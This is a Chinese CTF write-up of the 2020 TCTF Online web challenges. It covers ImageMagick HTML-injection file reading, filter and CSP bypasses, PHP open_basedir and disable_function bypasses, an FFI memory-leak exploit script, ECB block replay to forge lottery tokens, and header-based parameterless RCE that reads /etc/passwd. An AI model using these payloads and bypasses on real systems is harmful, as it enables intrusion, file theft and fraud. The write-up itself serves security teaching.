新鲜出炉 | 2020 TCTF Online Web WriteUp - 嘶吼 RoarTalk – 网络安全行业综合服务平台,4hou.com

新鲜出炉 | 2020 TCTF Online Web WriteUp

一叶飘零 技术 2020-06-29 11:45:00
883477
收藏

导语:这次Web题目做下来,感觉不是非常的"web",但还是可以学到一点东西~

前言

TCTF是国内高质量比赛之一,这次周末参加了一下,以下是Web题解。

Wechat Generator

题目界面大致如下: 

2020 TCTF Online Web WriteUp

我们拥有preview和share两个功能:

2020 TCTF Online Web WriteUp

2020 TCTF Online Web WriteUp

一个是预览我们生成的微信对话图,一个是将其分享。

在尝试访问分享图片时,发现如下路径:

2020 TCTF Online Web WriteUp

在随手测试的时候,发现如果乱改后缀,例如将png改为txt,会出现如下的报错信息:

{"error": "Convert exception: unable to open image `previews/5fac1098-72ab-4b28-b111-465aceb0e7ec.txt': No such file or directory @ error/blob.c/OpenBlob/2874"}

那么大概可以猜测到题目可能是ImageMagick,同时测试过程中,我们发现:

2020 TCTF Online Web WriteUp

如果将后缀改为htm,是可以正常转换的,那么此时可以看到我们输入的message:

2020 TCTF Online Web WriteUp

2020 TCTF Online Web WriteUp

那么这里尝试进行闭合,发现可以引入标签:

image.png

2020 TCTF Online Web WriteUp

但是存在过滤,src被过滤了,那这里先考虑读文件,我们可以利用png后缀,将文件内容转为图片带出:

2020 TCTF Online Web WriteUp

得到如下反馈:

2020 TCTF Online Web WriteUp

那么尝试寻找web文件路径,想读/proc/self/下的文件,但发现proc也被过滤,这里尝试双写绕过:

2020 TCTF Online Web WriteUp

发现可以成功进行bypass:

2020 TCTF Online Web WriteUp

在/app目录下可以读取app.py的内容,发现如下路由:

http://pwnable.org:5000/SUp3r_S3cret_URL/0Nly_4dM1n_Kn0ws

访问后,发现需要进行xss,触发alert(1)即可:

2020 TCTF Online Web WriteUp

但这里存在csp:

img-src * data:; default-src 'self'; style-src 'self' 'unsafe-inline'; connect-src 'self'; object-src 'none'; base-uri 'self'

最初想利用如下形式来进行攻击:

image.png

但src被过滤:

2020 TCTF Online Web WriteUp

这里同样使用双写来进行bypass:

2020 TCTF Online Web WriteUp

2020 TCTF Online Web WriteUp

但发现难以找到可控的js文件,于是考虑到其他方法,可使用meta标签进行跳转:

2020 TCTF Online Web WriteUp

并使用htm后缀,将路径发给管理员即可触发alert,获取flag.

easy php

题目给了如下代码:

image.png

估摸可能又是bypass open_basedir disable_function一类的题目,首先看一下phpinfo():

http://pwnable.org:19260/?rh=phpinfo();

发现目标是php 7.4.5,同时Server API为FPM/FastCGI:

2020 TCTF Online Web WriteUp

disable_function如下:

set_time_limit,ini_set,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail,putenv,error_log,dl

open_basedir如下:

2020 TCTF Online Web WriteUp

首先尝试disable_function,由于目录不可写,所以选择使用如下方法:

$file_list = array();
$it = new DirectoryIterator("glob:///*");
foreach ($it as $f){
    $file_list[] = $f->__toString();
}

$it = new DirectoryIterator("glob:///.*");
foreach ($it as $f){
    $file_list[] = $f->__toString();
}
sort($file_list);
foreach ($file_list as $f){
    echo "{$f}
";
}

发现可以成功列目录:

2020 TCTF Online Web WriteUp

得到flag.h和flag.so文件名。

由于题目的部署不慎,导致open_basedir经常被置空(所以出现了revenge,正规解法在下一道题里讲),所以出现了下述操作:

2020 TCTF Online Web WriteUp

可以直接读文件……发现flag.h中定义了获取flag的c函数,那么想到php 7.4可使用FFI调用c函数,于是查看phpinfo():

2020 TCTF Online Web WriteUp

于是使用如下方法获取flag:

2020 TCTF Online Web WriteUp

noeasyphp

出题人心有不甘,又出了一道revenge,这次php版本升级到7.4.7,同时更换了Server API:

2020 TCTF Online Web WriteUp

并且大量增加了disable_function:

2020 TCTF Online Web WriteUp

但open_basedir没有变:

2020 TCTF Online Web WriteUp

我们依旧可以bypass open_basedir进行列目录:

2020 TCTF Online Web WriteUp

发现flag.h和flag.so文件依旧存在,同时FFI依旧开启,那么尝试load flag.h:

2020 TCTF Online Web WriteUp

但此时尴尬的点来了,我们不知道c的函数名是什么,因此无法直接调用。同时在使用FFI::cdef时,一直不能正常调用,于是这里我们使用如下操作,可以看到FFI的报错提示:

2020 TCTF Online Web WriteUp

这里发现cdef被过滤了……那么考虑有没有其他办法可以获取到函数名,查阅FFI官方文档:

2020 TCTF Online Web WriteUp

发现FFI存在不少和内存相关的函数,这里考虑能不能进行内存泄露,获取函数名,编写exp如下:

import requests
url = "http://pwnable.org:19261"params = {"rh":'''
try {
    $ffi=FFI::load("/flag.h");
    //get flag
    //$a = $ffi->flag_wAt3_uP_apA3H1();
    //for($i = 0; $i < 128; $i++){
        echo $a[$i];
    //}
    $a = $ffi->new("char[8]", false);
    $a[0] = 'f';
    $a[1] = 'l';
    $a[2] = 'a';
    $a[3] = 'g';
    $a[4] = 'f';
    $a[5] = 'l';
    $a[6] = 'a';
    $a[7] = 'g';
    $b = $ffi->new("char[8]", false);
    $b[0] = 'f';
    $b[1] = 'l';
    $b[2] = 'a';
    $b[3] = 'g';
    $newa = $ffi->cast("void*", $a);
    var_dump($newa);
    $newb = $ffi->cast("void*", $b);
    var_dump($newb);
    
    $addr_of_a = FFI::new("unsigned long long");
    FFI::memcpy($addr_of_a, FFI::addr($newa), 8);
    var_dump($addr_of_a);
    
    $leak = FFI::new(FFI::arrayType($ffi->type('char'), [102400]), false);
    FFI::memcpy($leak, $newa-0x20000, 102400);
    $tmp = FFI::string($leak,102400);
    var_dump($tmp);
   
    //var_dump($leak);
    //$leak[0] = 0xdeadbeef;
    //$leak[1] = 0x61616161;
    //var_dump($a);
    //FFI::memcpy($newa-0x8, $leak, 128*8);
    //var_dump($a);
    //var_dump(777);
} catch (FFI\Exception $ex) {
    echo $ex->getMessage(), PHP_EOL;
}
var_dump(1);
'''}

res = requests.get(url=url,params=params)

print((res.text).encode("utf-8"))

2020 TCTF Online Web WriteUp

即可获取函数名如下:

$a = $ffi->flag_wAt3_uP_apA3H1();

使用和上题一样的操作即可获取flag:

2020 TCTF Online Web WriteUp

lottery

题目到手后,界面如下:

2020 TCTF Online Web WriteUp

简单通过burp抓包分析,发现题目存在5个功能:

register 
login
buy
info
charge

同时注意到获取flag的条件:

2020 TCTF Online Web WriteUp

我们必须获得99以上的coin,才可以获取flag,那么分析题目功能,这里主要看buy,info和charge:

2020 TCTF Online Web WriteUp

buy可以利用api_token获取一串密文。

info可以对密文进行解密,并返回明文:

2020 TCTF Online Web WriteUp

charge是用来换coin的:

2020 TCTF Online Web WriteUp

我们尝试篡改所有非enc内容,发现都很难奏效,那么势必需要分析出enc的加密方式,这里从密文切入,我们随便生成了6组密文:

/SWC1fWyzgVB4GQkV9XAhFbRJVd+p/0seSjoHNvocAMMJxydIoMiQkoRPvzu98o0B1gJ7iyGVtg0ZCyvrM9HYw+Ig5CALRM+/et8BL40J0gG42ZsIT3cEPN7J80q5tSXurpYiVthCJdtAYiOSwB4XPbSt9reYD8AcCI4hIXsxZg=

rky9zMwv9ftXrXfBaPh7e6UYO7mh07PV2CGIHMdPt0PmSSV7gVgsy7RyEC/CfvudCQTrOEmVHvtxgyNJHv51/A+Ig5CALRM+/et8BL40J0gG42ZsIT3cEPN7J80q5tSXTyQDabwRxFj0q8X5b5KhU/bSt9reYD8AcCI4hIXsxZg=

RNeqoksqjZqjs30IlB4JPdPNAigCO2PyXiMbl5HspoRDE+yuEDln7P1M85J6FO9NQq+BWyMVgZ913nLGyJL3aQ+Ig5CALRM+/et8BL40J0gG42ZsIT3cEPN7J80q5tSXsiwQ3/LQeSbYE2JiMXSKC/bSt9reYD8AcCI4hIXsxZg=

8FSnwPc+/cDtsUaIiZYJtAl0QFY5GvPH3AnPSjTmF3MF22QlJ+AohnvnHQCXjh9sffSrlmAlwaJD0ytGNsbH0UWc4v+ma98DhQBGaRw2sQ5RwrnRb3rjBmEpJd/MA33YbXP4fOmiPYshqVzTh05fWPbSt9reYD8AcCI4hIXsxZg=

yF+uCwdBx7pB2t0Afq2kccm9na5y/7Nezs5Lm3IqoD+PdHJ4SFqLIY4vouanlmqSLxxDwv3vmBZJGNYrfOCIZ0Wc4v+ma98DhQBGaRw2sQ5RwrnRb3rjBmEpJd/MA33YzeNJt8hFlylgxZwJckYUn/bSt9reYD8AcCI4hIXsxZg=

fBGgss1SrFRgKkYGFiYiw5VlpPmTWu6eCcq42TkBUzwIYP5cNLYr/4R2hd6it4yuVU4yzKKC3PGops+sK2X4U0Wc4v+ma98DhQBGaRw2sQ5RwrnRb3rjBmEpJd/MA33YavP2eHwOKE3g3bE6AMid3/bSt9reYD8AcCI4hIXsxZg=

发现每组密文的结尾均为一致,这里我猜想其为分组密码,那么我们尝试将其转回16进制:

fd2582d5f5b2ce0541e0642457d5c08456d125577ea7fd2c7928e81cdbe870030c271c9d228322424a113efceef7ca34075809ee2c8656d834642cafaccf47630f888390802d133efdeb7c04be34274806e3666c213ddc10f37b27cd2ae6d497baba58895b6108976d01888e4b00785cf6d2b7dade603f007022388485ecc598

ae4cbdcccc2ff5fb57ad77c168f87b7ba5183bb9a1d3b3d5d821881cc74fb743e649257b81582ccbb472102fc27efb9d0904eb3849951efb718323491efe75fc0f888390802d133efdeb7c04be34274806e3666c213ddc10f37b27cd2ae6d4974f240369bc11c458f4abc5f96f92a153f6d2b7dade603f007022388485ecc598

44d7aaa24b2a8d9aa3b37d08941e093dd3cd0228023b63f25e231b9791eca6844313ecae103967ecfd4cf3927a14ef4d42af815b2315819f75de72c6c892f7690f888390802d133efdeb7c04be34274806e3666c213ddc10f37b27cd2ae6d497b22c10dff2d07926d813626231748a0bf6d2b7dade603f007022388485ecc598

f054a7c0f73efdc0edb14688899609b409744056391af3c7dc09cf4a34e6177305db642527e028867be71d00978e1f6c7df4ab966025c1a243d32b4636c6c7d1459ce2ffa66bdf03850046691c36b10e51c2b9d16f7ae306612925dfcc037dd86d73f87ce9a23d8b21a95cd3874e5f58f6d2b7dade603f007022388485ecc598

c85fae0b0741c7ba41dadd007eada471c9bd9dae72ffb35ecece4b9b722aa03f8f747278485a8b218e2fa2e6a7966a922f1c43c2fdef98164918d62b7ce08867459ce2ffa66bdf03850046691c36b10e51c2b9d16f7ae306612925dfcc037dd8cde349b7c845972960c59c097246149ff6d2b7dade603f007022388485ecc598

7c11a0b2cd52ac54602a4606162622c39565a4f9935aee9e09cab8d93901533c0860fe5c34b62bff847685dea2b78cae554e32cca282dcf1a8a6cfac2b65f853459ce2ffa66bdf03850046691c36b10e51c2b9d16f7ae306612925dfcc037dd86af3f6787c0e284de0ddb13a00c89ddff6d2b7dade603f007022388485ecc598

我们发现最后32位均为:f6d2b7dade603f007022388485ecc598,同时总密文长度为256位,此时我们可以猜测最后32位应该均为padding,但这里显然不会考虑密钥爆破,因为32位的密钥太长了,爆出的可能性很小。于是思考分组模式是否可以进行攻击。

这里应该不能猜出,目标可能为ECB分组模式,那么ECB分组模式最普遍的攻击方式,应该为重放攻击,于是我进行了简单测试:

3IaNFxJN+bro2idMLAmEvfYVkwGwkppb0Habd7fzO/JCJVTGfwx79N1umkYZpaU/MfoZHWsrrGaAoh0dmBELAfXqF7CTC0Sp/DVHj+ZJgPB9CD7dIHyWREM90xDqs0/SeVuO+vBtvpqOZ7buX0T+EfbSt9reYD8AcCI4hIXsxZg=

{"info":{"lottery":"49382695-2b68-4666-8fda-b775edfe52fd","user":"2e2dd369-e9a8-4e62-9dac-76fe75353f89","coin":9}}

t5hNjbXQNdB1FXRhYoKNHSf62OmHHTGzGoqg+zpDLyPdFEGv8zHzC6WOx7QRZPMCwX9QzuxSrhCREeG0jwYMhDWzxRAezgH19V2Foc61/clsY01/dMF/DB1sdEiui01xcZOk9sdgo9pVS5mRplHyhfbSt9reYD8AcCI4hIXsxZg=

{"info":{"lottery":"a36f22c1-c351-4421-a3bf-ec8ed90da70c","user":"2ec978ed-fc05-4aad-9cd6-da41b1afcb9b","coin":3}}

我们对如上明密文对进行攻击,想将用户1的lottery替换为用户2的,如此即可扣用户2的lottery,来增加用户1的coin:

32
{"info":{"lottery":"a3382695-2b68-4666-8fda-b775edfe52fd","user":"2e2dd369-e9a8-4e62-9dac-76fe75353f89","coin":9}}

64
{"info":{"lottery":"a36f22c1-c351-4421-8fda-b775edfe52fd","user":"2e2dd369-e9a8-4e62-9dac-76fe75353f89","coin":9}}

96
{"info":{"lottery":"a36f22c1-c351-4421-a3bf-ec8ed90da7fd","user":"2e2dd369-e9a8-4e62-9dac-76fe75353f89","coin":9}}

128
{"info":{"lottery":"a36f22c1-c351-4421-a3bf-ec8ed90da70c","user":"2e2dd369-e9a8-4e62-9dac-76fe75353f89","coin":9}}

2020 TCTF Online Web WriteUp

我尝试对用户1的密文分组进行逐一替换,当替换128位后,发现我们可以将用户1的lottery替换成用户2的,但是此时user前2位值也会变为用户2的,那么这里即考虑,注册多个user前2位相同的用户,再用ECB重放攻击进行刷钱:

{"info":{"lottery":"49382695-2b68-4666-8fda-b775edfe52fd","user":"2e2dd369-e9a8-4e62-9dac-76fe75353f89","coin":9}}

{"info":{"lottery":"a36f22c1-c351-4421-a3bf-ec8ed90da70c","user":"2ec978ed-fc05-4aad-9cd6-da41b1afcb9b","coin":3}}

对于如上info的2个用户,我们就可以将用户1的lottery替换为用户2的,因为其user开头2位都是2e:

2020 TCTF Online Web WriteUp

移花接木后,我们可以得到如下info的密文:

{"info":{"lottery":"a36f22c1-c351-4421-a3bf-ec8ed90da70c","user":"2e2dd369-e9a8-4e62-9dac-76fe75353f89","coin":9}}

尝试进行charge:

2020 TCTF Online Web WriteUp

发现可以成功charge,重复多次操作,即可增加我们的coin,获取flag:

2020 TCTF Online Web WriteUp

Cloud Computing

这是Misc里的一道题,本不应该出现在此,但因为其考察点为web open_basedir bypass(其实是非预期了),所以在这里记录了一下,题目同样是给了源码:

image.png

同时发现题目运行在php7.4.7:

2020 TCTF Online Web WriteUp

测试过程中发现,我们input的data被过滤了引号,下划线等字符,这让我们执行代码非常不便,同时phpinfo都被过滤了,于是这里考虑使用无参数函数RCE的方式,我们利用eval(end(getallheaders()))的方式进行偷梁换柱,在http header注入我们想执行的phpcode,以此达成bypass waf的目的:

2020 TCTF Online Web WriteUp

但是依旧无法使用phpinfo等函数,怀疑是被disable_function给禁了,这里开启报错,来一探究竟:

2020 TCTF Online Web WriteUp

同时发现我们受限于open basedir:

2020 TCTF Online Web WriteUp

但是发现sandbox可以任意创建文件,于是想到可以使用chdir来bypass openbasedir:

image.png

发现可以成功bypass oepn_basedir,读取/etc/passwd:

2020 TCTF Online Web WriteUp

那么读取根目录的flag文件即可。

后记

这次Web题目做下来,感觉不是非常的"web",但还是可以学到一点东西~

本文为 一叶飘零 原创稿件,授权嘶吼独家发布,如若转载,请注明原文地址
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论

 
本站4hou.com,所使用的字体和图片文字等素材部分来源于原作者或互联网共享平台。如使用任何字体和图片文字有侵犯其版权所有方的,嘶吼将配合联系原作者核实,并做出删除处理。
©2022 北京嘶吼文化传媒有限公司 京ICP备16063439号-1 本站由 提供云计算服务